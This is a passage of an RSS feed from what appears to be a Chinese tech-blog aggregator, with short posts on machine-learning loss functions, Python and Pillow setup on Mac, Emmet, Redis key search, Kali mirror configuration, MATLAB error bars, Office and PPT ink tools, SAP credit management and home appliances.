y_pred)&#xA;二分类平衡交叉熵损失balanced_sigmoid_cross_entropy：&#xA;该损失也是用于2分类的任务，相比于sigmoid_cross_entrop的优势在于引入了平衡参数 ，可以进行正负样本的平衡，得到比sigmoid_cross_entrop更好的效果。&#xA;多分类交叉熵损失softmax_cross_entropy：&#xA;TensorFlow 接口：&#xA;tf.losses.softmax_cross_entropy(&#xA;onehot_labels,&#xA;logits,&#xA;weights=1.0,&#xA;label_smoothing=0,&#xA;scope=None,&#xA;loss_collection=tf.GraphKeys.LOSSES,&#xA;reduction=Reduction.SUM_BY_NONZERO_WEIGHTS&#xA;)&#xA;tf.nn.softmax_cross_entropy_with_logits(&#xA;_sentinel=None,&#xA;labels=None,&#xA;logits=None,&#xA;dim=-1,&#xA;name=None&#xA;)&#xA;tf.nn.sparse_softmax_cross_entropy_with_logits(&#xA;_sentinel=None,&#xA;labels=None,&#xA;logits=None,&#xA;name=None&#xA;)&#xA;keras 接口：&#xA;categorical_crossentropy(y_true, y_pred)&#xA;sparse_categorical_crossentropy(y_true, y_pred)&#xA;focal loss：&#xA;focal loss为凯明大神的大作，主要用于解决多分类任务中样本不平衡的现象，可以获得比softmax_cross_entropy更好的分类效果。&#xA;论文中α=0.25，γ=2效果最好。&#xA;dice loss:&#xA;2分类任务时使用的loss，本质就是不断学习，使得交比并越来越大。&#xA;TensorFlow 接口：</description>
    </item>
    <item>
      <title>2020-12-21</title>
      <link>https://bchobby.github.io/posts/df438860d7ce0c312cf38469fc15f4f5/</link>
      <pubDate>Mon, 21 Dec 2020 13:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df438860d7ce0c312cf38469fc15f4f5/</guid>
      <description> 不同的路径&#xA;Mac上自带python的安装路径：&#xA;Mac上自带python为2.X版本，该版本已停止更新。而用Homebrew下载新的版本后，bash打开依然是默认的2.X版本。&#xA;/System/Library/Frameworks/Python.framework/Versions brew新安装的路径：&#xA;/usr/local/Cellar/python 路径的切换&#xA;vim ~/.bash_profile打开外部环境变量&amp;amp;配置&#xA;export PATH=${PATH}:/usr/local/Cellar/python/3.7.x(你的版本)/bin 重新命名python&#xA;alias python=&#34;/usr/local/Cellar/python/3.7.x/bin/python3.7&#34; 4 让其修改生效&#xA;source ~/.bash_profile 让配置文件生效 </description>
    </item>
    <item>
      <title>扫地机器人的轮子困住_扫地机器人老被困住，我来告诉你怎么一次性解决</title>
      <link>https://bchobby.github.io/posts/f097d36183aed8057a051b3dcf6d00f1/</link>
      <pubDate>Mon, 21 Dec 2020 12:32:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f097d36183aed8057a051b3dcf6d00f1/</guid>
      <description>原标题：扫地机器人老被困住，我来告诉你怎么一次性解决&#xA;扫地机器人可以给我们带来干净整洁的家，帮我们节省更多的业余时间。但是在使用扫地机的时候也会遇见很多的问题，最烦人的就是老被困住，动不动就要求助，这大大的影响了用户的使用体验！&#xA;为了解决这一问题，我把自己多年的使用经验告诉大家。首先，把扫地机器人最容易被困住的情景简单列举一下，然后我们再一一来针对解决。&#xA;1、扫地机被困情景一——电线、窗纱、蚊帐等柔软物品&#xA;扫地机最容易与电线产生关系的就是边刷、滚刷、动理论、万向轮、和水箱，这些地方会让你以想象不到的方式发生缠绕，特别是一些细小的数据线；还有就是窗帘、蚊帐因为比较柔软，而且常常垂到地上，所以也容易被扫地机器人吸入吸口，导致和滚刷发生缠绕。&#xA;解决的办法：家里面的电线如果能够收拾起来的尽量收拾起来，如真的需要，根据笔者的使用经验，尽量使用厚实粗重的电线，这样可以降低发生缠绕的几率；&#xA;家里比较柔软的物品都容易被扫地机器人吸入而发生缠绕，窗帘、蚊帐、线头什么的尽量悬挂起来。还有一个比较严重的问题是扫地机器人吸口很脏，这些东西被吸入后也会被弄的很脏，到时候清洗起来也很累。&#xA;2、扫地机被困情景二——卡在床底、柜底等地方&#xA;这是一个很矛盾的问题，很多人购买扫地机就是为了清扫床底、柜底下这些地方，因为这些地方人工清理会很麻烦，但是有一个严重问题就是扫地机常常容易卡死在这些地方。&#xA;我们知道床底和柜底一般的标准盖度是10cm，而我们扫地机器人高度一般在9-12cm之间。这其中涉及到一个商家的宣传的问题，有的商家宣传扫地机器人高度是包括摄像头部分的，而有的却不包括，如果消费者购买了不包括摄像头的可能就会被误导。&#xA;解决方法：这种其实没有很好的办法，前期建议是你要先弄清楚自己家的家具底部是多高，然后去买相对应的扫地机器人，这是最好的办法；还有就是可以尝试将部分家具底部垫高，这样扫地机器人也可以进去清扫。&#xA;3、扫地机被困情景三——夹在狭小的角落出不来&#xA;这是一个很奇怪的现象，有时候扫地机器人明明可以进入一个地方，但是进去后自己又出不来了，这种情况最容易发生在餐厅，因为餐厅的桌椅腿蹬最多，对扫地机器人来说地形最为复杂，常常会把自己转晕，而找不到出口。&#xA;解决方法：整理好自己的家具，这是唯一的解决方法，你可能很懒不想去做这些，但是如果不去做问题就永远解决不了。只有坚持去做了，渐渐的你会发现扫地机器人帮你养成了一个好习惯。&#xA;4、扫地机被困情景四——被卡在门槛上&#xA;扫地机器人被卡在门槛上的习惯很常见，很多扫地机器人爬坡能力一般在2cm以下，而我们家里面的门槛石一般都高出地面2cm以上，这也难怪它会被卡住了。&#xA;解决方法：购买扫地机器人的时候一定要问明白爬坡高度，尽量买爬坡能力强的；如果发现扫地机老被卡在门槛石上面，你可以在门口放置一块地毯，这样扫地机器人要进房间打扫，就会先爬上地毯，然后再爬上门槛石就不那么困难了。&#xA;总结&#xA;在网上看到很多人抱怨扫地机的各种问题，而且大多与以上介绍的问题相同，所以笔者特地写了一些见解，希望可以对你有帮助。&#xA;经过多年的使用扫地机器人，笔者也同样发现了一个问题，人与扫地机器人是一种共赢的关系，一开始我有很多的坏毛病，喜欢乱扔脏衣服，鞋子和袜子也会乱摆，每天回到家也很少整理家务。所以一开始总是和扫地机器人格格不入，开始我也和很多人一样抱怨它的无能，但是毕竟是花费了一千多元买来的，我也不想贱价挂到咸鱼上去，就算是不好用我也要用。&#xA;不乱扔东西是第一步，整理家具是第二步，总之，扫地机器人遇到什么问题我就改过来。现在回想起来，发现特别的有意思，买扫地机器人正是为了让自己有一个好的家庭环境，而自己做的那些不就是为了如此吗？返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>html代码快速生成</title>
      <link>https://bchobby.github.io/posts/f195304361e75277ed413085c31d74e5/</link>
      <pubDate>Sun, 20 Dec 2020 20:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f195304361e75277ed413085c31d74e5/</guid>
      <description>html代码快速生成的写法(也称Emmet语法) 在敲代码的过程中，工作量非常的大，代码也不能一点点的写，非常影响效率，所以我们有快速的方法来编写代码的框架，节省了我们大量的时间，下面就来看看Emmet语法(这里我使用的是前端流行开发工具Visual Studio Code)！&#xA;Emmet语法 .+类名——快速生成类选择器 输入.nav 出现&amp;lt;div class=&#34;nav&#34;&amp;gt;&amp;lt;/div&amp;gt; #+id名——快速生成id选择器&#xA;输入#two 出现&amp;lt;div id=&#34;two&#34;&amp;gt;&amp;lt;/div&amp;gt; 标签+标签——快速生成兄弟级标签&#xA;输入div+p 出现&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; 标签&amp;gt;标签——快速生成父子级标签&#xA;输入ul&amp;gt;li 出现&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; 标签*number——快速生成number个标签&#xA;输入p*4 出现&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt; $——自增符号&#xA;输入ul&amp;gt;li*3{$} 出现&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;1&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;2&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;3&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; 标签+{内容}——快速生成内容&#xA;输入div{你好吖} 出现&amp;lt;div&amp;gt; 你好吖 &amp;lt;/div&amp;gt; shift+Alt+F——格式化文档(主要是对编写不规范的代码进行格式化，比如没对齐，没缩进等)&#xA;以上语法知识只是最基础的用法，他们之间可以互相使用和一起使用，对代码的编写效率有极大的提高，下面我就稍微举几个结合使用的例子！！！&#xA;输入.left+#one 出现&amp;lt;div class=&#34;left&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;one&#34;&amp;gt;&amp;lt;/div&amp;gt; 以此类推^_^! 输入ul&amp;gt;li&amp;gt;a*3{$} 出现&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; 是不是很神奇^v^! 还有很多结合使用的语法，都是用基础的语法搭建，使用比较灵活，大家都可以去试试哦！~</description>
    </item>
    <item>
      <title>苹果Macbook Pro 13 M1芯片安装Pillow的正确姿势</title>
      <link>https://bchobby.github.io/posts/532f22d268418a92aa6cc81078d86ff9/</link>
      <pubDate>Sun, 20 Dec 2020 11:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/532f22d268418a92aa6cc81078d86ff9/</guid>
      <description>正确的安装 1、先安装packaging&#xA;python3 -m pip install packaging 执行这个命令后会提示这样安装成功&#xA;Defaulting to user installation because normal site-packages is not writeable Collecting packaging Downloading packaging-20.8-py2.py3-none-any.whl (39 kB) Collecting pyparsing&amp;gt;=2.0.2 Downloading pyparsing-2.4.7-py2.py3-none-any.whl (67 kB) |████████████████████████████████| 67 kB 42 kB/s Installing collected packages: pyparsing, packaging Successfully installed packaging-20.8 pyparsing-2.4. 2、执行下面这个命令，查看命令输出的是什么，输出的名字等下会用到&#xA;python3 -c&#34;from packaging import tags; print(&#39;\n&#39;.join([str(t) for t in tags.sys_tags()]))&#34; |head -5 我的输出是：&#xA;cp38-cp38-macosx_11_0_arm64 cp38-cp38-macosx_11_0_universal2 cp38-abi3-macosx_11_0_arm64 cp38-abi3-macosx_11_0_universal2 cp38-none-macosx_11_0_arm64 3、在这里下载Pillow安装包https://pypi.org/project/Pillow/8.0.1/#files&#xA;请下载Mac版的，并且与你电脑Python版本一样的包，默认是3.8的，就是：Pillow-8.0.1-cp38-cp38-macosx_10_10_x86_64.whl&#xA;这个&#xA;下载完成以后，命令行进入下载目录重命名，因为我上一个命令输出的有cp38-cp38-macosx_11_0_universal2，&#xA;所以重命名的时候要在这个前面加上下载回来文件的Pillow-8.0.1-&#xA;请注意如果不重命名是安装不成功的，会提示</description>
    </item>
    <item>
      <title>北大青鸟消防控制器组网_【北大青鸟JBF-61S20防火门监控器控制器接线示意图】价格,厂家,火警探测、报警设备-搜了网...</title>
      <link>https://bchobby.github.io/posts/399c52ad11ff3d1d25883503d6c0c8cc/</link>
      <pubDate>Sun, 20 Dec 2020 10:09:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/399c52ad11ff3d1d25883503d6c0c8cc/</guid>
      <description>北大青鸟JBF-61S20防火门监控器控制器接线示意图&#xA;一，北大青鸟JBF-61S20防火门监控器控制器接线示意图功能&#xA;防火门控制及状态 监测功能&#xA;手动、自动关闭常开防火门；实时监控常开或常闭防火门的状态信息，并进行上报和显示。&#xA;联网功能&#xA;监控器可以与青鸟报警控制器进行无缝连接；防火门监控器也可以自行组网，组网的监控器可设置为集中机或者区域机，集中机可对所有区域机进行控制和显示，包括跨机启动区域机防火门以及显示区域机事件和信息等；可接收来自中控室的 CRT 通信或者火灾报警控制器的消防报警指令。&#xA;接收火警 功能&#xA;监控器与青鸟火灾报警控制器联网后，可以通过设置进行有选择的实时接收来自火灾报警控制器发出的火警信息，以实现对相关防火门的自动控制。同时监控器还会将上述的报警、联动信息进行自动存储。&#xA;故障报警 功能&#xA;监控器的各个功能板卡、电源以及该监控器所连接的各种功能模块一旦出现问题，监控器会在时间报出故障。&#xA;防火门状态处于异常状态时，监控器也会时间报出故障，例如常闭防火门处于异常打开状态、常开防火门处于异常关闭状态等。&#xA;门的屏蔽与开放 功能&#xA;系统运行过程中有防火门发生损坏，在更新部件之前可将其屏蔽，更新部件后再开放。防火门被屏蔽后将不能被控制，同时监控器屏幕上将显示被屏蔽防火门的相关信息。只要系统中有部位被屏蔽了，面板上的屏蔽指示灯就会常亮。&#xA;查询 功能&#xA;可以通过查询菜单，查询到相关信息，包括：防火门注释信息、在线接口模块的类型及状态、模块与防火门匹配信息、接收火警地址段、防火门与接口的对应关系等。&#xA;信息存储功能&#xA;监控器具有历史信息实时存储功能，存储容量约为 100000 条，可以查询到监控器开、关机、复位、火警、各种故障、防火门的启动等历史记录信息。&#xA;权限管理功能&#xA;监控器具有二级密码权限管理，确保监控器不会被误操作。&#xA;电源管理功能&#xA;监控器采用了一台具有双路输出功能的消防电源，分别为监控器、现场输入/输出接口模块供电和为现场电动闭门器、电磁释放器等设备供电；同时壁挂防火门还配置了两节 DC12V/7AH 的备用电池，大容量防火门配置了两节 12V/24Ah 的备用电池，确保系统持续工作；&#xA;继电器 功能&#xA;监控器配备有 2 组继电器输出触点，分别输出故障信息和火警信息。&#xA;自检 功能&#xA;监控器具有自检功能。&#xA;二，北大青鸟JBF-61S20防火门监控器控制器接线示意图应用接线图：&#xA;压力开关是自动喷水灭火系统中常采用的一种较简便的能发出电信号的组件。常与水力警铃配合使用，互为补充，在感知喷水灭火系统启动后，水力报警的水流压力启动发出报警信号。系统除利用它发出电讯号报警外，也可利用它与时间继电器组成消防泵自动启动装置。安装时除严格按使用说明书要求外，应防止随意拆装，以免影响其性能。其安装形式无论现场情况如何都应竖直安装在水力报警水流通路的管道上，应尽量靠近报警阀，以利于启动。同时，压力开关控制稳压泵，电接点压力表控制消防气压给水设备时，这些压力控制装置的安装应符合设计的要求。&#xA;5.4.4 本条对水力警铃的安装位置、辅助设施的设置、传导管道的材质、公称直径、长度等作了规定。&#xA;水力警铃是各种类型的自动喷水灭火系统均需配备的通用组件。它是一种在使用中不受外界条件限制和影响，当使用场所发生火灾、自动喷水灭火系统启动后，能及时发出声响报警的安全可靠的报警装置。水力警铃安装总的要求是:保证系统启动后能及时发出设计要求的声强强度的声响报警，其报警能及时被值班人员或保护场所内其他其他人员发现，平时能够检测水力报警装置功能是否正常。本条规定内容和要求与设计规范是一致的，考虑到水力警铃的重要作用和通用性，本规范再作明确规定，利于执行和保证安装质量。&#xA;5.4.5 末端试水装置是自动喷水灭火系统使用中可检测系统总体功能的一种简易可行的检测试验装置。在湿式、预作用系统中均要求设置。末端试水装置一般由连接管、压力表、控制阀及排水管组成，有条件的也可采用远传压力、流量测试装置和电磁阀组成。总的安装要求是便于检查、试验，检测结果可靠。&#xA;关于末端试水装置处应安装排水装置的规定，是根据目前国内相当部分工程施工时，因没安装排水装置，使用时无法操作，有的甚至连位置都找不到，形同虚设。因此作出此规定。</description>
    </item>
    <item>
      <title>redis通过key模糊搜索_Redis中关于Key的模糊查找</title>
      <link>https://bchobby.github.io/posts/fd7a13f71ad523062184b54e1099e02f/</link>
      <pubDate>Sun, 20 Dec 2020 07:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd7a13f71ad523062184b54e1099e02f/</guid>
      <description>最近使用Redis优化项目功能，其中有一部分为模糊查询，找了很多帖子，也没有找到很好的解决方案和思路，最终皇天不负有心人啊，终于让我找到了！！！&#xA;可以通过Redis中keys命令进行获取key值，具体命令格式：keys pattern&#xA;文中提到redis中允许模糊查询的有3个通配符，分别是：*，?，[]&#xA;其中：&#xA;*：通配任意多个字符&#xA;?：通配单个字符&#xA;[]：通配括号内的某一个字符&#xA;=========================================================================&#xA;在实际项目中有可能会使用spring集成redis的RedisTemplate进行操作，这样在注入模板时可能会出现模糊查询不好用的情况，是因为keys方法是存在于StringRedisTemplate子类中(父类-RedisTemplate)的&#xA;在spring配置时，一定要注意！！！&#xA;=========================================================================&#xA;实际操作中具体的思路：&#xA;1. 将要查询的条件当做key进行ZSet存储&#xA;2. 在获取时，调用StringRedisTemplate.keys(pattern)，例：&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;publicSet keys(String pattern){&#xA;returnstringRedisTemplate.keys(“*”+ pattern + “*”);&#xA;// return stringRedisTemplate.keys(“?” + pattern);&#xA;// return stringRedisTemplate.keys(“[” + pattern + “]”);&#xA;}&#xA;ps:模糊查找适用于 String数据结构，对redis支持的其他结构(List、set等)，没有 验证是否支持。&#xA;实践代码：&#xA;/**&#xA;* redis缓存操作类&#xA;*/&#xA;@Service&#xA;publicclassRedisCacheServiceimplementsInitializingBean{&#xA;privateValueOperations valueOperations;&#xA;@Autowired&#xA;privateStringRedisTemplate redisTemplate;&#xA;@SuppressWarnings(“unchecked”)&#xA;@Override&#xA;publicvoidafterPropertiesSet()throwsException{&#xA;RedisSerializer redisSerializer =newStringRedisSerializer();&#xA;valueOperations = redisTemplate.opsForValue();&#xA;}&#xA;/**&#xA;* 从缓存中获取资源信息</description>
    </item>
    <item>
      <title>kali linux 清华源_kali Linux 更换国内镜像源</title>
      <link>https://bchobby.github.io/posts/02563299fdd17fb6c5475518d4b5a310/</link>
      <pubDate>Sun, 20 Dec 2020 04:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02563299fdd17fb6c5475518d4b5a310/</guid>
      <description>kali Linux的更新源是在国外的，所以在更新的的话许多的小伙伴都会更不了，今天我来教大家怎样更换国内镜像源&#xA;1、输入“vim /etc/apt/sources.list”命令进入源地址文件&#xA;2、按“i”进入插入模式&#xA;3、选择一下任何一个源&#xA;#aliyun 阿里云&#xA;deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib&#xA;deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib&#xA;# ustc 中科大&#xA;deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib&#xA;deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib&#xA;# tsinghua 清华&#xA;deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free&#xA;deb-src http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free&#xA;#浙大源&#xA;deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free&#xA;deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free&#xA;更新前把系统自带的更新源注释或者删除掉&#xA;4、Esc退出插入模式&#xA;5、CTRL+x保存退出</description>
    </item>
    <item>
      <title>matlab条形图添加误差线_绘制数据图像并添加误差线</title>
      <link>https://bchobby.github.io/posts/7c08d8c22524dbde56bb97b690bc4799/</link>
      <pubDate>Sun, 20 Dec 2020 02:56:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c08d8c22524dbde56bb97b690bc4799/</guid>
      <description>Plot data with error bars on both x and y axes&#xA;ERRORBARXY is a function to generate errorbars on both x and y axes with specified errors modified from codes written by Nils Sjöberg (http://www.mathworks.com/matlabcentral/fileexchange/5444-xyerrorbar)&#xA;errorbarxy(x, y, lx, ux, ly, uy) plots the data with errorbars on both x and y axes with error bars [x-lx, x+ux] and [y-ly, y+uy]. If there is no error on one axis, set corresponding lower and upper bounds to [].</description>
    </item>
    <item>
      <title>matlab条形图添加误差线,如何在MATLAB中绘制带有标准偏差值的误差线图？</title>
      <link>https://bchobby.github.io/posts/1bfb8ca83a0c6edbe1f83185219bb103/</link>
      <pubDate>Sun, 20 Dec 2020 02:54:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bfb8ca83a0c6edbe1f83185219bb103/</guid>
      <description>I am very new to MATLAB and expect a step-by-step solution. I have data, series(y), which I have to plot against (x). Also I have the standard deviation values for each data point of (y). Now I have to plot these series highlighting the error bars. How can I do that?&#xA;The data is in a text file sorted in columns as:&#xA;X = -50, -49, -48, -47....0....1, 2, 3, 4, 5.</description>
    </item>
    <item>
      <title>office 中墨迹书写工具_Office for Mac和Windows 中怎样使用墨迹绘图和书写？</title>
      <link>https://bchobby.github.io/posts/9a5ca336d231dbf1556f878db44b97b8/</link>
      <pubDate>Sat, 19 Dec 2020 22:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a5ca336d231dbf1556f878db44b97b8/</guid>
      <description>Office 上面书写和画画功能，必须建立在你的设备支持触摸功能的基础上，使用手指、数字笔或鼠标进行绘制。可用的墨迹书写功能取决于所使用的设备类型以及所使用的 Office 版本。&#xA;Office for Mac中使用墨迹绘画和书写 书写、绘制或突出显示文本&#xA;在 Mac 上，这些功能仅在Microsoft 365和 Office 2019 for Mac 中可用。&#xA;1.在功能区的“绘图”选项卡上，单击以选择钢笔。&#xA;2.再次点击打开笔的“粗细”和“颜色”选项。 选择喜欢的粗细和颜色。&#xA;共有从 0.25 mm 至 3.5 mm 的五种粗细。 选择粗细以使笔更粗或更细。菜单上提供十六种纯色，可以点击“更多颜色”查看更多。还提供 8 种效果：“彩虹”、“银河”、“熔岩”、“海洋”、“玫瑰金”、“金色”、“银色”和“青铜色”。 “绘图”选项卡上 Office 笔库中笔的颜色和粗细选项 3.还提供铅笔纹理：&#xA;使用支持的数字手写笔绘制使用铅笔纹理时，可以倾斜触笔以获得 &#34;底纹&#34; 效果，就像使用真正的铅笔一样（Office 365 订阅者可用 3 种不同文理的笔进行墨迹绘图：铅笔、钢笔或荧光笔）。&#xA;4.绘制墨迹形状后，其行为与 Office 中你已习惯处理的任何形状相同。 可选择形状，然后进行移动或复制、更改其颜色、转换其方向等。&#xA;5.若要停止墨迹书写并选择你的注释，以便修改或移动它们，请在 &#34;绘图&#34; 选项卡上撤消选择 &#34;绘制&#34; 按钮。&#xA;使用触控板的触摸绘图 你可以使用手指在触控板上绘制，而不是使用鼠标绘制墨迹。 擦除墨迹&#xA;1.在“绘图”&amp;gt;“工具”下，点击“橡皮擦”。 （在 PowerPoint for Office 2019 for Mac 中，可以选择不同大小的橡皮擦。 Word 有三个橡皮擦选项（版本16.28 或更高版本）。 点击橡皮擦按钮上的向下箭头，选择所需的橡皮擦。在 Mac 上，PowerPoint for Office 365 具有四个橡皮擦用于数字墨迹。）</description>
    </item>
    <item>
      <title>office 中墨迹书写工具_诺记点评71：用好墨迹，水墨风格很容易</title>
      <link>https://bchobby.github.io/posts/1617b4f0272a54a73369dd77749e18bc/</link>
      <pubDate>Sat, 19 Dec 2020 18:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1617b4f0272a54a73369dd77749e18bc/</guid>
      <description>本期点评的投稿作品是一份中医类的PPT。&#xA;作者是学中医的一名学生，虽然关于中医知识我不甚了解，但是对于这份PPT，是有很多可以优化的地方的。&#xA;让我们先看一下投稿原稿：&#xA;缺乏图片？试试墨迹！ 这份PPT存在的问题之一就是缺图片。对于中医的“哲学式”表述，想要找到合适且高大上的图片实在是太难了。&#xA;不过凡事都有两面性，对于这类中国风内容，中国风的PPT就很合适。而“墨迹”就是中国风PPT中最好用的元素之一。&#xA;不妨对比一下，诺记修改前后的页面：&#xA;内容完全一样，字体也没有特别炫，只是加了一些墨迹，整个PPT看上去就丰富许多了。&#xA;想用好墨迹，诺记总结了三个关键词：1）背景净；2）轮廓整；3）单维度。&#xA;背景净 只需要在网上输入“墨迹”或者“水墨”，就可以找到很多相关的素材。我们挑选的时候尽量选择白底的，这样的图片用起来效果好。&#xA;这里诺记说的背景净，并不单单是指图片背景要干净，页面背景也要干净。&#xA;比如下图中的两张图片，在左侧的白色背景上就会显得非常简洁。而在右侧的浅色图片上就会显得有“补丁感”。&#xA;所以在使用墨迹的时候最优选择是“白底黑墨”，但是如果非得使用非白底，比如本期投稿的作品就用了米色作为底色，那么就需要进行抠图。&#xA;虽然office的PowerPoint从2010版本开始就提供了删除背景这个好用的功能，但是对于墨迹这类边缘锯齿较多的素材，删除透明色会更好用。&#xA;选中图片，找到“图片格式-颜色”，然后找到设置透明色按钮。点击之后，在图片白色的区域点击一下，白色就都消失了。&#xA;这个方法有两个注意事项：&#xA;1）每次只能去除一种颜色，所以不适合渐变背景或者花哨背景；&#xA;2）有的图片设置透明色效果不佳，可以利用PPT增加以下对比度，剪切粘贴为图片之后再试一次。&#xA;轮廓整 如果同样是白底背景，那么选墨迹素材的时候尽量选择轮廓完整的。最好不要有过多的细线或者虚线元素。&#xA;左侧的墨迹不适合当做背景 举个例子，上图中，左侧的墨迹轮廓就比较散乱。这样一方面增加了抠图的难度，另一方面也不利于放置文字，容易干扰阅读。而右侧的墨迹就好多了，完整的一大块，放文字标题会很清晰。&#xA;单维度 最后一个使用技巧，是仅仅把墨迹用在一个维度上。&#xA;墨迹通常可以用在标题上，当作标题文字的背景，可是使用的时候，一定不要跨越多级标题。&#xA;我们来看一个案例：&#xA;在这页PPT上，我们可以看到一个大标题（肝脾关系）和两个小标题（疏…+藏…）。&#xA;我们可以把墨迹用在大标题或者小标题上（下图左），但是不能同时使用在大小标题上（下图右），这样会让页面墨迹产生矛盾，也容易让页面局部变得黑黑一坨。&#xA;所以墨迹可以强调标题，可以用来绘制示意图，可以用来强调关键词，但请保证一次只用在一个维度上。&#xA;投稿作品修改&#xA;现在回到投稿作品当中，我运用了墨迹技巧对于投稿作品进行了修改。&#xA;现在再来看一看改稿，是不是能发现遵循着背景净、轮廓整、单维度呀？&#xA;原稿 改稿 原稿 本期作品原稿与改稿 本期原稿 本期改稿 本文为诺壹乔原创，未经许可不得转载。&#xA;All rights reserved.&#xA;如果你也希望诺记诊断你的PPT，欢迎投稿。&#xA;投稿邮箱：chotjoy@foxmail.com&#xA;邮件标题请注明“诺记点评”&#xA;关于中国风PPT的使用，诺记还拍了一个vlog，感兴趣可以看：水墨风PPT的秘密</description>
    </item>
    <item>
      <title>sap客户信贷_SAP 客户信贷重建一则</title>
      <link>https://bchobby.github.io/posts/5d0a8f56a5f1e0744c3582002ee62c34/</link>
      <pubDate>Sat, 19 Dec 2020 14:51:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d0a8f56a5f1e0744c3582002ee62c34/</guid>
      <description>前段时间接到业务的一个需求，需要将标准和定制业务的信贷分开。原来目前公司是将标准和定制的客户信贷金额整在一起，共用一个信贷范围。而定制业务特殊性决定了公司要收到客户全款才会接单生产并发货，而客户打预收款的时候是不分标准和定制的。&#xA;为了解决这个问题，我这边给出的方案是新建定制的信贷范围，将标准和定制分开。在前端创建定制信息并传到SAP创建订单的时候通过创建会计凭证的方式将标准的预收款转移到定制的预收款。等于变相将定制业务的应收风险转嫁到标准业务上了。&#xA;首先在SAP后台配置一个新的信贷范围，并分配相关的定制业务的销售范围。设置好相关的信贷管控。&#xA;在定制订单创建的接口里新增功能，当订单过来的时候就创建相关的会计凭证从标准的预收款转移到定制的信贷范围。记账码分别为09和19，如下图：&#xA;同时需要更新历史未清的订单更新对应的信贷范围，这里的“未清”主要是没有开票的销售，已经开票的部分因为生成了应收会计凭证，是不用更新信贷范围的。&#xA;查看销售订单的信贷范围可以通过VA03查看“环境——合作伙伴——显示信贷科目”可以知道相关销售订单的信贷范围以及信贷余额。&#xA;更新所有销售订单的信贷范围以及重组信贷，需要通过事务代码F.28来实现：&#xA;选择“重建FI和SD数据”并勾选“创建SD更改凭证”，输入相关的客户号码以及定制业务的信贷范围，执行，系统会提示：&#xA;点击确定，系统就开始重组信贷范围了，会将相关的客户所有的信贷信息根据最新的后台配置进行重建！&#xA;整个信贷重建的业务，需要注意以下几点：&#xA;1、销售订单的信贷账户取决于销售订单合作伙伴里的付款方，同时付款方也会有相关的信贷账户；&#xA;2、重组信贷之后，原来订单的信贷信息会从原来的信贷账户转移到新的信贷账户；&#xA;3、标准的信贷账户和定制的信贷账户必须属于同一个公司主体，否则无法做会计凭证转移，具体原因自己想；&#xA;4、重建之后未清的销售订单信贷范围会变更，但已开票的订单无效；&#xA;5、如果销售订单已经发货了，但新的定制账户没有足够的余额是不允许过账的，会提示交货冻结；此时要么加信贷余额并F.28重建，要么就是交货单删掉，加信贷再新建交货单，要么通过VKM5进行信贷释放；&#xA;6、ECC版本是通过F.28进行重建，S4版本重建信贷是通过SE38执行以下两个程序：&#xA;UKM_RFDKLI20 ：更新未清订单额度&#xA;UKM_RFDKLI20_AR ： 更新未清发票额度&#xA;本文作者 | SAP梦心&#xA;联系方式 | 微信：W150112458(疯狂的程序员)&#xA;特别敬告 | 未经允许，请勿转载，版权所有，违者必究</description>
    </item>
    <item>
      <title>sap客户信贷_SAP SD 信贷控制范围-特别总账控制的信贷更新</title>
      <link>https://bchobby.github.io/posts/757648eeb8b6de199cb445e788689ed5/</link>
      <pubDate>Sat, 19 Dec 2020 14:51:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/757648eeb8b6de199cb445e788689ed5/</guid>
